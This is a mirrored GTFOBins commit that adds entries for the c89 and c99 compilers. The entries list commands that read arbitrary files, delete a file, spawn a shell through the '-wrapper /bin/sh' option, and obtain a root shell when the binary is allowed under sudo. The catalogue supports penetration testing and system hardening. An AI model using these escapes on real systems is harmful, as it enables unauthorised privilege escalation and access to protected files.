1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Add c89 and c99

This commit is contained in:
Michalis Papadopoullos 2021-06-04 14:54:33 +03:00 committed by GitHub
parent 49086c50ca
commit 7c9c505542
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 30 additions and 0 deletions

15
_gtfobins/c89.md Normal file

@ -0,0 +1,15 @@
---
functions:
file-read:
- code: |
LFILE=file_to_read
c89 -x c -E "$LFILE"
file-write: # XXX this should be file-delete
- code: |
LFILE=file_to_delete
c89 -xc /dev/null -o $LFILE
shell:
- code: c89 -wrapper /bin/sh,-s .
sudo:
- code: sudo c89 -wrapper /bin/sh,-s .
---

15
_gtfobins/c99.md Normal file

@ -0,0 +1,15 @@
---
functions:
file-read:
- code: |
LFILE=file_to_read
c99 -x c -E "$LFILE"
file-write: # XXX this should be file-delete
- code: |
LFILE=file_to_delete
c99 -xc /dev/null -o $LFILE
shell:
- code: c99 -wrapper /bin/sh,-s .
sudo:
- code: sudo c99 -wrapper /bin/sh,-s .
---